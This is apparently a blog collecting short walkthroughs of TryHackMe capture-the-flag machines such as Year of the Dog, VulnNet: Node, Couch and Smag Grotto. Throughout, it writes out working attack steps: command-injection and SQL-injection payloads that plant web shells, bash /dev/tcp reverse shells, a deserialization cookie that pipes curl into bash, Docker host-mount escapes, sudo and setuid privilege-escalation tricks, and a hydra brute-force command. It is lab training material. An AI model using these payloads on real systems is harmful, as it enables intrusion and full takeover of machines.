Penetration tester, cyber security student, CTF enthusiast. The writeups on this page aren't the most beautiful ones nor the most explicative, but they are supposedly short and to the point. If you need a nudge in the right direction or you want a second look on a machine you completed, these are quick reads for your fast-paced, (hopefully) ethical, hacker life. Merry Hacking!

Superspam - THM

Super-Spam - THM

The ports after the initial scan, apart from the usual service on port 80, are fairly uncommon, like FTP on 4019 and SSH on 4012. The first I tried (more because this is a CTF than anything else) is to anonymously login to FTP, which gave us access to quite a few files. From the note, we could assume adam and super-spam are usernames. We also learn that the capture file is a reminder of how the alien got in, so we download that for further analysis and give it to Wireshark. While we study it, we could also run a bruteforce against FTP and SSH, just in case.

Midway through the packet capture you will start noticing a lot of deauthentication packets, so this might be a deauth attack. If this is how the alien gained access, maybe he was successful in capturing a handshake and later cracking the gathered hash, so we'll try to do the same. Using aircrack-ng we can try to crack the hash, but I preferred to use it only to generate the hash in a hashcat-friendly format (-j flag) so that I could try cracking it in hashcat.

It won't take long before hashcat cracks it, and there we have a password. But what can we use it for?

Let's take a look at port 80. Looking at post authors we can add the following usernames to our list:


We now use this list against the login page of the web server trying with the password we found earlier (password reuse is a life saver while pentesting), successfully authenticating into the CMS.  

Googling the CMS version we find an interesting article that says

The experts pointed out that the flaw could have been exploited to add PHP extension in the list of allowed extensions and then upload the file.

Which is exactly what we'll do. A disclosure on HackerOne gives you full details on how to perform this attack, and in no time you have a reverse shell as www-data. Looking at /etc/passwd we find out that not all of our usernames were good, as a matter of fact the only valid ones were:


There is also an interesting mysql user, is there a db somewhere? Looking at listening services there is a local listening DB on 3306. Lost a bit of time on that to no use, that is not where you should be looking at.

Besides that, we can read both the first flag and a note snooping around in user homes. The users' homes are in a huge mess so you will probably need to search them little by little to make sure you don't miss anything, it's a good training of thorough enumeration. Don't miss the python script among the many images and be sure to read the note. Move what you need to the attacking machine (the note should tell you which files are useful and which aren't) and retrieve the hidden credential.

With this new password you can login as one of the other users on the machine. Look in his home and you'll notice a "passwd" file. You can use this to login to the VNC server, which runs as root. Retrieve the flag, decode it and you are done.

As always, merry hacking! ;)

Year of the Fox - THM

Year of the Fox - THM

There are three open ports, including samba and a web server. Access to the server is limited by HTTP Basic Authentication, and brute forcing it right now is not a viable option. We first try to enumerate domains, shares and users through enum4linux. Fortunately enough, the box allows to log in using null sessions, so enum4linux is capable of giving us some juicy info, including two usernames.

We can try to brute force our access using these usernames either into samba or past HTTP Basic Authentication. I personally tried both but more threads can be spawned against HTTP and the brute force came to a successful login in reasonable time.

On the web server there is a search page that seems to browse the content of a directory on the box. Possibly, it is passing our input to a command on the box. There is some client side filter, easily avoid it using Burp to modify your requests. A working payload is structured as follows:

\"; <command>; echo \"

where my choice for <command> was:

<Python reverse shell base64 encoded> | base64 -d | bash

This way we obtain a shell on the box as the low privileged user www-data.

With some basic enumeration you should quickly notice that port 22 is open locally, meaning there is an SSH server that we couldn't access through our first scan of the box. Set up a port forward, my choice to do this was using socat and opening a new port on the target (not very stealthy, but quick and easy enough):

./socat tcp-l:33060,fork,reuseaddr tcp: &

Now you can try to brute force your way in using the two usernames (three, including root) that we know exist on the box. Hint: if you check the sshd_config you will notice only one user is allowed to access, so you can significantly reduce the number of attempts required to brute force access.

This brute force will, eventually, come to a successful login. You can now retrieve the first flag. Moving on, you should notice you now have sudo privileges: you can run a single binary as root, but at first sight it doesn't seem to be extremely useful. Move it to your attacking machine and analyze it with radare2, you should notice the "poweroff" function is called without specifying the full path. Go back and check sudo privileges: sudo is not using secure path! This means you can modify the existing PATH, create a "poweroff" binary that is just a copy of /bin/bash and execute the binary with sudo privileges. This will cause your custom function to get executed as root and you will get your well deserved root shell. Nice job!

As always, merry hacking!

Year of the dog - THM

Year of the Dog - THM

The scan doesn't give you much to choose from, two open ports and no reasonable way of interacting with SSH, so let's start from HTTP.

The web server seems to be a waiting queue, what for is unknown. How does the page determine your position in queue every time you reload the page? Cookies, indeed. The cookie is not immediately clear to decode, but you can easily spot some SQL injection possibility by adding a single quote at the end of it. Besides enumerating the DB, there is a serious misconfiguration allowing you to write a file on the web server. The injection looks like this:

<cookie>' UNION SELECT 1,<hexcode> INTO OUTFILE '/var/www/html/shell.php'-- -

where <hexcode> is the hex of the classic PHP web shell that receives a "cmd" GET parameter. It can be anything you want of course, just stating clearly what I put there. Now that you have some basic RCE, let's make it a little more bearable. I retrieved the full php-reverse-shell using wget and activated it by browsing to its location, thus gaining a remote shell.

The shell belongs to user www-data. Nonetheless, you can still access user dylan's home. There is an interesting file that is readable, it seems to be a log containing SSH accesses. Check it thoroughly as dylan seems to have put his password where his username should go, meaning you can now SSH into the box as dylan.

Retrieve the first flag and examine the box. There is a service running on port 3000, port forward using SSH. There is a Gitea server running, but logging in as dylan requires a 2fA step we cannot bypass right now. Look for the folder where this server keeps its data and you will find its DB as well. Check it out (either copy it to your machine or use python's sqlite3 module to interact with it): you can completely disable 2fA by deleting the relative table, thus gaining access as dylan.

Now you can modify dylan's repo git hooks. Just add a bash reverse shell line at the end of the pre-receive hook, then make a modification to one of the files and commit, causing its execution and, thus, gaining a reverse shell as user git.

Now git runs in a different environment, but the /data/gitea directory seems to be shared among environments. As you can run commands as root of this environment (sudo -l to notice this is indeed the case) just copy a suid version of /bin/bash here and run it in dylan's environment, gaining root access to the box. Get your second flag, your job here is done. 

Merry hacking!


CMSpit - THM

After the initial scan, there are two open ports. Brute forcing the first would be unreasonable without having even tried looking at the other one, so let's start from the web server. On the login page, right up front, notice the shiny name of this CMS. With the power of this knowledge, start asking Google and sooner rather than later you should encounter this. Follow what it says like you never followed any other instruction and in no time you should be able to change the admin's password, meaning you can now log into the administrative console.

Keep on reading, the amazing article also tells you that file upload isn't guarded against malicious file, so you can just upload a PHP reverse shell and there you go, you have a shell on the target.

Following the room's instructions, check the open ports (netstat does wonders, nothing too fancy needed). The open port you couldn't see before, what is it? Google again, and it is a MongoDB instance running on the compromised server. Use mongocli to interact with it and you can retrieve both a flag and a password.

Using this password, escalate horizontally to the only real user on the machine. You can quickly notice there is a binary that can be run as root without needing any other permission. This binary suffers from an RCE vulnerability (a quite recent one), and a PoC is available here to more easily aid you in your payload creation. Either start a reverse shell, read shadow and crack passwords or just read root's flag, either way the machine is done and you can move on to your next target. Merry hacking!

Sweettooth Inc

Sweettooth Inc. - THM

There are four open ports. Following the indications of the room, we further analyze the port running the DB. There is a metasploit module that can give you the version running, but it is not able to go past authentication. In order to find a database user, you can check if there are available endpoints under /debug... Mostly two, one gives you a username, the other one a whole lot of informations you will need to carefully look at.

You need the username to answer one of the questions. Another username is hidden in plain sight as it's part of many paths you can see in the second endpoint response (just search for a couple of keywords you extract from the questions and look carefully).

Once you gather both usernames, Google is your friend. There is a brief article explaining how to exploit JWTs to gain unauthorized access to the DBMS. Careful, only the first username is valid to construct a custom JWT, the other user doesn't seem to be registered on the DB. Once you have access you can just query what you need as you would do with any other DB, either create a user and connect remotely or use curl as explained in the docs of the DB. Very conveniently, besides the rest of the answers you need for this section of the room, you can also gather SSH credentials inside one of the DBs.

Get your first flag and then take a look around. Weird files reside in the root directory, read those and you will notice an open port exposing the docker engine. Set up a port forward and analyze the exposed engine. Let's suppose you set up port forwarding on your local port 8000 using SSH, you can now run commands by doing (on your local machine):

docker -H tcp://localhost:8000 exec <container name> <command>

To find out the container name run

docker -H tcp://localhost:8000 ps

Any reverse shell command should give you a root shell.

Grab the second flag and take a look at the disk partition. As you are now root you are allowed to mount that 15 GB filesystem that looks like the underlying OS. Run this:

mount /dev/<name of the partition> /<path to a folder you created>

You now have full access to the machine, and the last flag is yours. Merry hacking!


Couch - THM

Scan the machine with a basic nmap scan (nothing too fancy needed) in order to answer the first question. If you ran a -A scan or just a -sV, you also have the answers to question two, three and four.

Now, onto the researching side of the challenge. Honestly, with no prior experience with CouchDB, I basically ran into Google's arms and kindly encountered the awesome documentation where you can find everything you need. Take a couple of minutes, read it and you should have no issue finding a very interesting "secret" DB, which contains SSH credentials to log into the machine.

Once you have a shell it's time to poke around for a privesc opportunity. Look at the new open ports you can see from this new shell. To more experienced users, port 2375 might mean something. If it doesn't, Google it. It's docker's engine default port. A quick nmap scan (port forward with SSH if you don't have nmap on the target) confirms this hunch.

To see if you can interact with the engine, try:

docker -H tcp://$IP:$PORT images

This should give you a (short) list of available images. Try to mount the filesystem on the container, thus gaining access to the whole system as a root user. To do this, run:

DOCKERHOST=tcp://$IP:$PORT docker run -it -v /:/mnt/host <imagename> /bin/sh

This should give you a new shell with root access. Now be careful, the filesystem of the target machine has been mounted to /mnt/host, so the flag you are looking for is in /mnt/host/root, don't get confused.

After this nice docker escape, you are done. Merry hacking!


harder - THM

After an initial scan, three ports seem open. As we have nothing to try on these SSH ports, let's look at the web server.

Every request seems to be a 404, but look at the request: it issues a cookie for a specific domain. This probably means virtual hosting is in place, so add the domain to your /etc/hosts'list and browse to the page. Both a directory scan and the hint hidden behind the login form (super default credentials, you can do it without brute forcing it) suggest the presence of a git repository.

Download it using GitTools (the dumper) and analyze the commits. Analyzing previous files you can notice that hmac.php is in charge of showing you the 404 page. You can circumvent these checks: first, to overcome the fact that you don't know the value of n, you can submit an array to exploit PHP's type juggling. Knowing the value you set to the host parameter you can then compute the hash to pass the last check, this way obtaining a new virtual host and some credentials. To make it clear, you should submit a URL like: 


On the new host, log in with the given credentials. It seems another check is in place, this time blocking you because of your IP. Use the X-Forwarded-For header (add it to the request) to overcome the check and get a web shell.

Because of this IP situation, you cannot get a reverse shell straight as usual, enumerate a bit on the machine. Cronjobs is a good place to look at (/etc/periodic/15min, I will tell you this as it is a real pain to enumerate with this shell), there is a file containing ssh credentials, this way we can finally get a shell (a proper one) on the machine.

After the user flag, look around, this is not your usual box. You need to enumerate a bit more manually than usual, you can find a suid file. This runs a different bash script on the box that only accepts encrypted files and executes them. In order to exploit this we need to find the encryption key first, you can find it by looking for the name of the recipient in the file system.

The final steps are:

  1. Import the gpg key (gpg --import <key path>)
  2. Create a file containing the commands you want to run (like reading the root flag)
  3. Encrypt the file with the key (gpg --recipient root@harder.local --encrypt <your file>)
  4. Run the suid file and pass it the encrypted file
  5. Enjoy your flags and Merry Hacking!


BlobBlog - THM

After the initial scan there are two open ports. With nothing to try on SSH, let's start with the web browser. Launch a directory bust and start looking around while it runs. There are a couple of comments on the front page, the default Apache initial page. The first one is base64+brainfuck and tells something about knocking on ports, suggesting to try ports 1, 3 and 5. The second one tells us a password, which is base58 encoded.

Following the first hint, connect simultaneously to the three ports. Once your connections are closed, try a new scan and you will see some more ports are now open.

We can try to use the credentials we found (the username is IN the comment leading to the second hint) to log in to the FTP service. There is one image we can download, its purpose isn't immediately clear.

There are also two new web servers running on higher ports, the first one (in port number order) gives us a new pair of credentials (same username actually), some directory busting on the second will lead us to a /blog page that redirects to a login form.

We can use the new credentials to extract data out of the image we retrieved from the ftp server. This gives us some new pieces of informations: a combination of username and password AND a directory name. Trying the directory name on the first of the new web servers gives us a new hint, a message.

Plus, some more directory busting gives us a directory on the first new web server that contains a private OpenSSH key.

Quick recap, at this point we have:

  1. A username:password combination
  2. a username or a password at the end of the message we found
  3. a key

After quite a struggle, turns out the username:password combination is ciphered using Vigenere Cipher, and that the word at the end of the message was the key to decipher it. This gives us the password to log into the blog.

We can submit a message, that is very kindly interpreted if you insert an instruction for the underlying OS. With this in our hands gain a reverse shell.

We are now user www-data, and a kind message every once in a while challenges us to root the box.

There is a suid file that we can use to move to another non-root user. Move it to the attacking machine and disassemble it (Ghidra is a good option) to see if there is the opportunity to exploit it somehow. It seems it will spawn a shell if you can resist its loop by supplying the correct order of parameters. It starts comparing from value 6 (7-1) and runs all the way to 1, so supply these values and enjoy your shell as a new user.

Now let's find where this annoying message is coming from: pspy will help us identify running processes.

There is a C file being compiled and run in our new home folder, let's modify it to make it a little more interesting. As the file is being run as root, this would mean game over. Search for a reverse shell in C or just insert a system command in the code to launch a reverse shell and go grab both flags, your job is done. Merry hacking!

Lunizz CTF

Lunizz CTF - THM

Run a scan to see what services are running. Once it's done, look at it: an exposed DB surely looks interesting. Default credentials don't seem to work, and we have no known exploit to run against the SSH server, so let's just focus on the HTTP server for now. Running a directory buster reveals some interesting files and directories, mainly:

  1. interesting.txt, where we can find credentials for the DB;
  2. whatever, which doesn't seem to be accessible for some DB error right now.

Let's log in the DB server using the credentials. There are two databases, and the second one has an interesting name. It only contains one table, which contains a single value that determines whether or not we can access the "whatever" page. Modify it to 1 (aka, true) and access the page. Now you can run commands as user "www-data", so use this awesome feature to get a reverse shell back to your machine.

Once you have a shell, you will easily notice there isn't much you can do as www-data. There is a single, interesting directory in the root folder, /proct, which contains a python executable suggesting that the password for user "adam" is in rockyou.txt, but that it has also been previously encoded with ascii and base64, and also contains the hash of the password. To find out what the password is, let's build a small python script to turn rockyou in a new wordlist which is ASCII and b64 encoded. My script was the following one:

import base64

with open('/usr/share/wordlists/rockyou.txt', encoding='latin-1') as fp:
line = fp.readline()
while line:
bpass = base64.b64encode(line.strip().encode('ascii','ignore'))
line = fp.readline()

Run it as:

python3 exploit.py > new_wordlist

And then use this wordlist with john to crack the hash. Remember, the result given by john is the base64 encoding of the answer, so be sure to decode it before using it to change user to "adam".

Once you have a shell as adam, enumerate your home folder thoroughly, there is a Google Maps link that helps you find out what mason's password is. TIP: it's not the place, it's what you can see in the sky. Besides being called aurora borealis it has another couple of names, so be sure to try those as well ;)

Change user to mason with his password and grab your first flag. 

Notice there is a service running on port 8080 which seems to allow you to run some predefined commands if you give it some password and the command itself as part of a POST body. This is a bit of a leap of faith (AC fans, this is for you), but try giving it mason's password and the command "passwd", by running:

curl -d "password=<not aurora borealis>&cmdtype=passwd" -X POST localhost:8080

It says it changed the password. The knowledge that you are playing a CTF whose primary purpose is for you to gain root access suggests this means it changed the root password, and what else could it change it to if not mason's password itself? "su root" and get the last flag, you are done and ready to move on with your hacking journey!

VulnNet: Node

VulnNet: Node - THM

There is a single open port, so you should probably start there. Watch closely, there is something odd with the requests. Why does the app use a cookie for a session that doesn't require any authorization whatsoever? Is it easy to guess the encoding and what the cookie is holding?

Turns out, the cookie is base64 encoded and contains some JSON data. First attempt, I tried to turn from guest to admin, which is absolutely pointless. So I turned to Google, and asked him what could I possibly do with a cookie managed by a JS backend. Google, in its infinite wisdom, led me to the following paper. Use the first part of the explanation to obtain a reverse shell. The way I did it is:

  • Created a file containing code to launch a reverse shell in bash: bash -i >& /dev/tcp/IP/PORT 0>&1
  • Started a listener
  • Created the following cookie:
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl | bash ', function(error, stdout, stderr) { console.log(stdout) });\n }()","isGuest":true,"encoding": "utf-8"}
  • Encoded it in base64
  • Intercepted a request and replaced the real cookie with this crafted one

Once obtained the reverse shell, you can notice pretty quickly there is no flag to grab. That is, the user you must seek to obtain is the only other non-root on the machine. Checking your sudo privileges you can see you can run npm as this user you are trying to obtain --> GTFOBins --> shell as the other user!

Once again, checking sudo privileges you can run some commands as root. The first starts a job, whose file (the name of the file is inside the job you can launch as root) is writable. So instead of letting it run df, let's have it run another reverse shell like the one above, and there you have root access ;)

Smag Grotto

Smag Grotto - THM

After a basic scan (nothing too fancy needed here) you should see two open ports. Let's set aside SSH for now and check out the website. There seems to be very little, but a quick directory bust reveals a useful file you can download and analyze. These file gives you three powerful pieces of information:

  1. Credentials
  2. a subdomain where to use said credentials
  3. the path where to login with those

Modify your /etc/hosts in order to reach the subdomain and log in the platform. This gives you the possibility to execute commands. My choice was the following:

bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"

Once you obtain your reverse shell in your preferred way, cronjobs are the way to go. There is a cronjob modifying the key allowed to log in as jake using SSH. The file hosting this key is world-writable, be sure to insert your public key in there to gain access as jake.

Grab your flag in jake's home and go for the usual check of your sudo privileges. You should then be on GTFOBins in less than two seconds. Using the following command will grant you a root shell, so you can retrieve the last flag and be done with the Smag Grotto:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh


magician - THM

After the initial scan, there appear to be two open ports on the target. One of them should suggest to try the oldie-but-goodie anonymous session, which can give you a pretty powerful hint. Follow it and then watch what you have to face on the other port. This service suffers from the ImageMagick vulnerability known as ImageTragick, which leads to RCE. In order to exploit it you can:

  1. Create your own payload (but why reinvent the wheel, right?);
  2. PayloadsAllTheThings has an entire section dedicated to this vulnerability
  3. Metasploit offers a module to create the payload you need

After successfully exploiting it (be sure you have the machine registered as "magician" in your /etc/hosts or it won't work), grab the user flag.

The escalation requires to look at open ports (as the hint in the home directory suggested). There is a listening service on 6666, but in order to access it you will need to show off your forwarding skills. Mine were limited to the following command:

./socat tcp-l:33060,fork,reuseaddr tcp: &

With this you can simply navigate to the target on the newly open port 33060 and it will redirect you to the listening service on 6666. There you will find a form asking for a file name. You can query the whole file system with this service, but it will "troll" you by returning the requested information in different encodings (in my experience, either base64 or ROT13, but others may be employed as well). You can choose to go for the flag or try to crack the root password in /etc/shadow. Whatever your choice, your job here is done ;)


Library - THM

Two ports open, and one is clearly the better choice to start snooping around. Not too much to look at, you can probably detect there are some useful informations displayed on the page (if we consider Lorem Ipsum useless, what is the only customized content on the page?). Use this information and the generous hint on robots.txt to start the most boring attack there is (sit and wait, go grab something to eat or drink or whatever suits you).

Once you are in, the flag is there. And that's not the only thing there. Check your permissions, that file right there can run as the most privileged user in the world (UNIX world, but still). Now it's time to refresh your class on Linux permissions: you cannot write the file, that's true. But you OWN the directory. You can destroy it and make a new one, as evil as you want. Mine, not particularly exotic, was as follows:

import os;
os.system('/bin/bash -p');

Happy root, and merry hacking!



Only one port open, so we better scan it thoroughly. A simple directory bust will reveal a directory that requires HTTP basic authentication, besides revealing the obvious service running on it. Default credentials are in place, so gaining access isn't all that difficult. In the file system shown there is a username and its hash, which are just the credentials you used to log (not sure, didn't crack the hash). With credentials for a webdav service, turn to the cadaver client. Search on Google, there is a quick guide on how to upload a file to the server using cadaver. What about uploading some php?

Once you have your shell, go get user.txt. Do the usual two-three manual checks, there is no need for an automatic tool like linPEAS here. You can use a very handy binary as any other user. Either use it to quickly grab the flag and end the challenge or take a longer way and first grab the couple of hashes available on the machine in order to crack them and obtain another user's shell. Either way, your job here is done.


Thompson - THM

This is an easy machine, fairly straightforward. Scan thoroughly as usual. Navigating to the port running an HTTP web server reveals an Apache version.

Look for default credentials, try the first couple of them, should not be too hard.

Once you have access to the manager application, there is both a manual way to exploit it (you can upload WAR files, search on Google for a step by step procedure to exploit this) and a metasploit module ready for you to use. This gives you shell access to the machine. Go find the user.txt flag, and once you have found it don't look too far. There is an interesting executable close by. Look for cron jobs (the ones listed in /etc/crontab) and modify the script you found accordingly to your needs, you should be root in no time.


HA Joker CTF - THM

Run your favourite scan, there should be three ports open on this machine. At first, port 80 is the only viable option (the others are SSH and a web server on 8080 that requires a password). If you are a Batman fan, take the time to check out all the quotes, including the ones in the source code. They are pointless CTF-wise, but they are awesome. Find the secret directory using a buster (add common extensions so you are sure not to miss it, as I did). That file gives you a username (two actually, but it's an easy guess). No sight of a password, so brute forcing must be the way in. Here is a possible command to brute force HTTP basic authentication:

hydra -l <username> -P /usr/share/wordlists/rockyou.txt -s 8080 -f <ip> http-get /

Once you have the password, login. The CMS is fairly empty, you should have no trouble running another bust to find the directories that interest you (one gives you a zip file, one would allow you to access the management dashboard if you had proper credentials).

Download the zip, it's password protected. You must use zip2john or something similar to crack it.

Restore the database from the file: if it's your first time, the steps are to first create a new database, and then pull the file into it to be able to use it. As always, Google gives you more than enough HOW-TOs to survive on your own. Once you are done, navigate to the "users" table and extract the hash, then crack it.

Once you have access to the administrator dashboard,  it's almost the same as the usual Wordpress trick. Navigate to a template, select one and write a reverse shell code onto it. Then, on the website, trigger its activation by navigating to the page you modified.

You should get a reverse shell as a user that is in the lxd group. If it has already happened to you, you might remember that this is going to mean instant root with a few basic steps. If this is the first time you see something like this, check out https://www.hackingarticles.in/lxd-privilege-escalation/ or search "LXD local privesc" on Google.